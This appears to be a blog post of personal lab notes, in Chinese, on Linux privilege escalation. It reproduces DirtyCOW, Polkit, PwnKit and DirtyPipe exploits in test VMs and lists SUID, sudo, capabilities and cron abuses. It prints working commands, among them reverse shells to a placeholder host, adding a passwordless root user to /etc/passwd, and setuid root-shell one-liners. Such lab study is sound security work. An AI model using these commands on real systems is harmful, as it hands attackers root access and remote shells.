内网权限提升系统学习(linux)

内网权限提升系统学习(linux)

内核漏洞利用

1.dirtyCOW(CVE-2016-5195)脏牛漏洞
影响范围:Linux内核>=2.6.22
1)前期准备
下载镜像 https://archive.kernel.org/centos-vault/6.0/isos/x86_64/CentOS-6.0-x86_64-LiveDVD.iso
ps:尽量别关机,就挂起
下载poc https://github.com/FireFart/dirtycow
经过测试,安装了vmtools后崩了,所以用ssh服务(或者rz命令)将脏牛代码发送到虚拟机内(注意要用普通用户权限上传代码)
开启ssh服务

service sshd start

关闭防火墙

service iptables stop

可以关机设置一个快照
然后可以用ssh连接工具(xshell等)连接
换源,将下述内容保存为CentOS-Base.repo,用ssh连接工具上传到centos6中,将/etc/yum.repos.d/CentOS-Base.repo备份,然后替换源文件

[base]
name=CentOS-$releasever - Base
#mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=os&infra=$infra
#baseurl=http://mirror.centos.org/centos/$releasever/os/$basearch/
baseurl=http://mirrors.tuna.tsinghua.edu.cn/centos-vault/6.0/os/x86_64/
gpgcheck=1
#gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6
gpgkey=http://mirrors.tuna.tsinghua.edu.cn/centos-vault/6.0/os/x86_64/RPM-GPG-KEY-CentOS-6

#released updates
[updates]
name=CentOS-$releasever - Updates
#mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=updates&infra=$infra
#baseurl=http://mirror.centos.org/centos/$releasever/updates/$basearch/
baseurl=http://mirrors.tuna.tsinghua.edu.cn/centos-vault/6.0/updates/x86_64/
gpgcheck=1
#gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6
gpgkey=http://mirrors.tuna.tsinghua.edu.cn/centos-vault/6.0/os/x86_64/RPM-GPG-KEY-CentOS-6

#additional packages that may be useful
[extras]
name=CentOS-$releasever - Extras
#mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=extras&infra=$infra
#baseurl=http://mirror.centos.org/centos/$releasever/extras/$basearch/
baseurl=http://mirrors.tuna.tsinghua.edu.cn/centos-vault/6.0/extras/x86_64/
gpgcheck=1
#gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6
gpgkey=http://mirrors.tuna.tsinghua.edu.cn/centos-vault/6.0/os/x86_64/RPM-GPG-KEY-CentOS-6

#additional packages that extend functionality of existing packages
[centosplus]
name=CentOS-$releasever - Plus
#mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=centosplus&infra=$infra
#baseurl=http://mirror.centos.org/centos/$releasever/centosplus/$basearch/
baseurl=http://mirrors.tuna.tsinghua.edu.cn/centos-vault/6.0/centosplus/x86_64/
gpgcheck=1
enabled=0
#gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6
gpgkey=http://mirrors.tuna.tsinghua.edu.cn/centos-vault/6.0/os/x86_64/RPM-GPG-KEY-CentOS-6

#contrib - packages by Centos Users
[contrib]
name=CentOS-$releasever - Contrib
#mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=contrib&infra=$infra
#baseurl=http://mirror.centos.org/centos/$releasever/contrib/$basearch/
baseurl=http://mirrors.tuna.tsinghua.edu.cn/centos-vault/6.0/contrib/x86_64/
gpgcheck=1
enabled=0
#gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6
gpgkey=http://mirrors.tuna.tsinghua.edu.cn/centos-vault/6.0/os/x86_64/RPM-GPG-KEY-CentOS-6

生成缓存

yum makecache 

安装gcc

yum install gcc -y

然后到这个地方在未关机的状态创建一个快照
2)漏洞复现
用普通用户上传poc,然后编译

gcc -pthread dirty.c -o dirty -lcrypt


查看当前用户 普通权限

id


查看内核版本

uname -a


开始漏洞利用

./dirty

或者

 ./dirty newpassword


然后

su firefart 

查看权限

id


发现root用户没了

cat /etc/passwd



恢复

mv /tmp/passwd.bak /etc/passwd
y

这样又会有root用户,需要重新设置一下密码,但是ssh服务好像出些问题了

passwd root

2.Polkit(CVE-2021-3560)
影响版本:
RHEL8
Fedora21(orlater)
Debiantesting("bullseye")
Ubuntu20.04
1)前期准备
下载poc
https://github.com/Almorabea/Polkit-exploit
系统镜像(经过测试复现脏牛漏洞的centos6这个漏洞没复现成功)
http://old-releases.ubuntu.com/releases/20.04.2/ubuntu-20.04.2.0-desktop-amd64.iso
安装ssh服务,便于上传poc

apt install ssh
systemctl start ssh
systemctl enable ssh

关闭防火墙

systemctl stop ufw
systemctl disable ufw

关机,创建一个快照
2)漏洞复现
使用ssh服务上传poc

python3 CVE-2021-3560.py


3.PwnKit(CVE-2021-4043)
1)前期准备
下载poc https://github.com/arthepsy/CVE-2021-4034
系统用复现脏牛漏洞的centos6就行了,但要恢复到安装gcc后的那个快照,复现脏牛漏洞后系统感觉出现些问题
2)漏洞复现
普通用户上传poc
查看权限

id

编译

gcc cve-2021-4034-poc.c -o cve-2021-4034-poc

执行

./cve-2021-4034-poc

查看权限

id


4.DirtyPipe(CVE-2022-0847)
影响范围:5.8 <= Linux 内核版本 < 5.16.11 / 5.15.25 / 5.10.102
1)前期准备
系统下载 https://mirrors.aliyun.com/ubuntu-releases/bionic/ubuntu-18.04.6-desktop-amd64.iso
其中自带了python3.6
安装pip3

apt install python3-pip

在本机里下载https://github.com/brant-ruan/metarget.git,然后因为安装了vmtools,所以可以直接拖进去

pip3 install -r requirements.txt -i http://mirrors.aliyun.com/pypi/simple --trusted-host mirrors.aliyun.com

然后启动漏洞环境

sudo ./metarget cnv install cve-2022-0847


重启,查看内核版本确保漏洞环境搭建成功

uname -r


2)漏洞复现
获取poc

wget https://haxx.in/files/dirtypipez.c
gcc dirtypipez.c -o dirtypipez


这个poc需要事先找到一个具有SUID权限的可执行文件,然后利用这个文件进行提权
利用如下命令找到具有SUID权限的可执行文件

find / -perm -u=s -type f 2>/dev/null


然后执行

./dirtypipez /bin/su 


5.linux-exploit-suggester-2
1)前期准备
下载poc https://github.com/jondonas/linux-exploit-suggester-2
系统采用复现脏牛漏洞的centos6
2)漏掉利用
使用ssh服务上传poc
执行

chmod +x linux-exploit-suggester-2.pl
./linux-exploit-suggester-2.pl

权限机制滥用

1.SUID提权
现在目标是读到/root/flag.txt,但是现在的权限是普通权限
常见查看SUID文件的命令

find / -perm -u=s -type f 2>/dev/null
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
find / -uid 0 -perm -4000 -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null 


1)find提权
配置权限

chmod u+s /usr/bin/find

查看SUID文件

find / -user root -perm 4000 -print 2>/dev/null


在tmp目录下创建一个文件

cd /tmp
touch 1


或者进入交互式shell

find 1 -exec '/bin/sh' \;

但失败了

或者反弹shell
nc出现了报错

解决:
在root下

update-alternatives --config nc

find 1 -exec nc xxx 6666  -e /bin/bash \;
find 1 -exec bash -c 'bash -i >& /dev/tcp/xxx/6666 0>&1' \;

也失败了

2)vim提权
权限配置

chmod u+s /usr/bin/vim

方法1:
修改/etc/passwd
方法2(失败了):
!/bin/sh
3)nmap
发现传统的nmap --interactive并未提权成功
之后在网上搜到了P牛的文章,按照p牛的方法进行了复现,具体原理可以看p牛的文章https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html
按照他的方法,需要nmap有--script参数
下载nmap

yum install nmap -y

配置权限

chmod u+s /usr/bin/nmap

然后用普通用户创建一个增添testroot用户的Lua脚本

echo 'local file = io.open("/etc/passwd", "a")' >> shell.nse && echo 'file:write("testroot::0:0::/root:/bin/bash\n")' >> shell.nse && echo 'file:close()' >> shell.nse

然后使用nmap 加载

nmap --script=shell.nse

然后切换成特权用户,就可以提取了

su testroot


4)more less(失败,有待研究)
5)nano(失败,有待研究)
6)bash
配置权限

chmod u+s /usr/bin/bash

然后普通用户提权

bash -p 


7)awk(失败,有待研究)
8)cp,mv,wget
本质上都是覆盖掉/etc/passwd文件添加特权用户
9)dig

dig -f /root/flag.txt


2.SUDO提权
查找SUDO提权文件

grep -v -E "^#" /etc/passwd 2>/dev/null| awk -F: '$3 == 0 { print $1}' 2>/dev/null
grep -v -e '^$' /etc/sudoers 2>/dev/null |grep -v "#" 2>/dev/null
echo '' | sudo -S -l -k 2>/dev/null
sudo -l

环境配置(因为自己的虚拟机有些问题,所以不同提权可能在不同的机器上)

vim /etc/sudoers

添加(xxxx为普通用户)

xxxx ALL=(root) NOPASSWD: /usr/bin/find
xxxx ALL=(root) NOPASSWD: /usr/bin/awk
xxxx  ALL=(root) NOPASSWD: /usr/bin/git
xxxx  ALL=(root) NOPASSWD: /usr/bin/vim
xxxx  ALL=(root) NOPASSWD: /bin/more
xxxx  ALL=(root) NOPASSWD: /usr/bin/less
xxxx  ALL=(root) NOPASSWD: /bin/ed
xxxx  ALL=(root) NOPASSWD: /usr/bin/mysql

1)find
执行

touch 1
sudo find 1 -exec whoami \;
sudo find 1 -exec /bin/sh \;


2)awk

sudo awk 'BEGIN{system("whoami")}'
sudo awk 'BEGIN{system("/bin/bash")}'


3)git
首先执行

sudo git help add



然后输入!/bin/bash

获得一个交互式root的shell

4)vim
方法1:修改/etc/passwd
方法2:
输入:!/bin/sh

5)more,less
执行

sudo more/less xxx(较大的文件)

输入!/bin/sh


6)ed
执行

sudo ed

然后输入!/bin/sh

7)

sudo mysql -e "\! whoami"
sudo mysql -e "\! /bin/bash"

3.Capabilities机制
环境配置,注意php要安装高版本的,环境采用了centos和kali,php的Capabilities机制未复现成功
安装高版本的php(php复现环境是centos7,yum默认安装的是php5)

yum install epel-release -y
yum install http://rpms.remirepo.net/enterprise/remi-release-7.rpm -y
yum install yum-utils -y
yum install -y php73-php-fpm php73-php-cli php73-php-bcmath php73-php-gd php73-php-json php73-php-mbstring php73-php-mcrypt php73-php-mysqlnd php73-php-opcache php73-php-pdo php73-php-pecl-crypto php73-php-pecl-mcrypt php73-php-pecl-geoip php73-php-recode php73-php-snmp php73-php-soap php73-php-xmll
#如果原先安装了php5的版本
mv /usr/bin/php  /usr/bin/php.bak
mv /usr/bin/php73  /usr/bin/php


配置权限

setcap cap_setuid+ep /usr/bin/gdb
setcap cap_setuid+ep /usr/bin/perl
setcap cap_setuid+ep /usr/bin/php
setcap cap_setuid+ep /usr/bin/python
setcap cap_setuid+ep /usr/bin/ruby
setcap cap_setuid+ep /usr/bin/vim
setcap cap_setuid+ep /usr/bin/openssl

复现后恢复

setcap -r /usr/bin/gdb
setcap -r /usr/bin/perl
setcap -r /usr/bin/php
setcap -r /usr/bin/python
setcap -r /usr/bin/ruby
setcap -r /usr/bin/vim
setcap -r /usr/bin/openssl

查找可用文件

getcap -r / 2>/dev/null


1.gdb

gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit


2.perl

perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'


3.php

php -r "posix_setuid(0); system('/bin/sh');"

4.python

python -c 'import os; os.setuid(0); os.system("/bin/sh")'


5.ruby

ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'


6.vim

vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

配置缺陷利用

1.敏感文件可写
/etc/passwd
/etc/shadow
/etc/sudoers
2.cronjobs提权
1)通配符注入提权

2)文件重写提权
环境搭建:当一个计划任务以root权限执行某一个脚本,但是这个脚本普通用户可以修改
使用root用户在/tmp目录下新建一个python文件cleanup.py

import os
import sys
try:
  os.system('rm -rf /home/centoslive/*')
except:
  sys.exit()

然后赋予权限

chmod u+x cleanup.py
chmod 777 cleanup.py

使用root用户添加一个计划任务

vim /etc/crontab
*/1 * * * * root python /tmp/cleanup.py

意思是每分钟一次执行cleanup.py脚本
然后查看计划任务

crontab -l

切换成普通用户
开始提权
修改cleanup.py

import os
import sys
try:
  os.system('chmod u+s /bin/dash')
except:
  sys.exit()

或者改为创建suid,sudo提权,反弹shell,修改/etc/passwd,添加特权用户也行

nc -lnvp xxxx

1分钟接收到了root权限的shell
3.环境变量

敏感文件利用

1.web源码中数据库连接配置文件,可以获得连接的账号密码
2.数据库文件,导出可取证恢复

3.运维疏忽将账号密码直接写到某一个文件中,可用工具搜索
https://github.com/Naturehi666/searchall

searchall -p /

4.历史命令记录中可能会有敏感信息

应用服务提权

1.mysql的udf,mof
2.mssql的xp_cmd
3.docker
4.LXD容器

参考文章

https://l0n9w4y.cc/posts/29809/
https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html
https://www.cnblogs.com/vir-k/p/16301456.html
https://www.cnblogs.com/f-carey/p/16026088.html
https://zhuanlan.zhihu.com/p/451513449

posted @ 2023-09-28 23:15  BattleofZhongDinghe  阅读(96)  评论(0编辑  收藏  举报